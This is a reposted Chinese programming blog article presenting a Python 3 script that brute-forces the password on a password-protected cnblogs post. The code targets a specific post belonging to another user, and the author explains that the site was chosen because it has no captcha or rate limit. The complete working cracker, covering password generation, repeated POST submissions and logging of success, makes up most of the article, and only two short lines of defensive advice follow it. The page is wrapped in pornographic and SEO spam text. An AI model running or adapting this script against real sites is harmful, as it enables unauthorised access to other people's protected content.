国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > Python > 正文

python3實現暴力窮舉博客園密碼

2019-11-25 16:43:13
字體:
來源:轉載
供稿:網友

我之前想寫路由器的密碼暴力破解器,我手上只有極路由,發現極路由有安全限制,只能允許連續10密碼錯誤,所以我改拿博客園練手。

博客園的博客有個功能是給博文設置一個密碼,輸入正確的密碼才能看到文章的內容。經過測試發現這個密碼驗證功能,既沒有驗證碼也沒有提交頻率的限制,

要寫這個針對博客園的密碼暴力破解器模型會非常簡單,很好實現。

比如打開這個博文,會顯示一個密碼輸入框:http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html

我之前沒有寫過這樣的程序,也沒有看過別人寫這類功能的代碼,就按我自己所理解的想法來寫一個最簡單的密碼破解器,不要多線程,不要分布式,

這個程序會有這么兩個部分:

1、我需要一個生成器,可以不停的生成所有可能的密碼組合,比如生成a,b,c,aa,bb,cc,ab,ac...abc,cba...abcd...等等所有的密碼組合。

2、我需要不停的提交密碼,直到認為密碼正確,記錄密碼,退出程序。

-_-!為什么使用生成器?

python2中range() 不是一個生成器,當你range(N),N為一個很大的數時...python就會爆炸!!!哈哈哈..

寫細致的博客太消耗時間和心力,我這里不寫具體的分析過程了,后面直接上代碼,如果看不懂,查相關關鍵詞就可以,畢竟基礎教程性的文章和內容非常之多。

tqdm是一個python進度條庫,requests是一個簡單優雅的http庫,

product是python3的標準庫itertools下的函數,可以用生成 (a,b,c...) (c,b,a...)這樣的序列,用''.join連接起來就得到了"abc"這樣的一個密碼。

"""python3暴力窮舉密碼2016年6月09日 04:39:25 codegay"""from time import strftimefrom itertools import productfrom time import sleepfrom tqdm import tqdmimport requestsfrom requests import post#密碼生成器def psgen(x=4):  iter = ['1234567890',      'abcdefghijklmnopqrstuvwxyz',      'ABCDEFGHIJKLMNOPQRSTUVWXYZ',      ]  for r in iter:    for repeat in range(1,x+1):      for ps in product(r,repeat=repeat):        yield ''.join(ps)def fx(url):#把URL中的readauth字符刪掉,替換成"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"這樣的格式,因為這個才POST的目標地址。  url = url.replace("/post/readauth?url=", "")  for ps in tqdm(psgen(6)):    try:      rs=post(url,data={'tb_password':ps},allow_redirects=1)      if rs.url == url: #如果提交密碼后,返回的url得到為"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"這樣的形式,那么認為猜到正確的密碼了。        with open("resut.csv","a+") as f:          f.write('密碼破解成功結果為:,'+ ps + ',' + strftime("%c") + ',' + url+'/n')        break    except:      sleep(1)      passurl='http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html'fx(url)

最后,這個程序運行速度大約是每秒提交6次密碼,我運行了30個小時,也不過是迭代幾十萬次,并沒有能把密碼破解出來,沒有產生實質性的危害。

總結:

1、密碼驗證的地方適當增加一些防止暴力破解的手段。

2、仍然有必要使用復雜的密碼提高安全度。雖然這樣的一個簡單的程序并沒有什么卵用。

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 四会市| 南澳县| 彝良县| 宁晋县| 金堂县| 隆化县| 新宁县| 磐石市| 博兴县| 台州市| 启东市| 乌鲁木齐县| 宝坻区| 鄂尔多斯市| 柞水县| 林州市| 郑州市| 祁连县| 即墨市| 许昌县| 清水河县| 桃园县| 罗城| 巴林左旗| 肥西县| 吴江市| 鹤岗市| 闽侯县| 崇阳县| 西乡县| 杭锦后旗| 鄂托克前旗| 大同县| 金寨县| 巢湖市| 江山市| 滨海县| 普格县| 鲁甸县| 柞水县| 余干县|